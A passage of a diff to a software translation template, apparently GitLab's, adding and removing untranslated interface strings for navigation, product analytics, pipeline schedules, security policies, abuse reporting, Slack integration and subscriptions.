msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
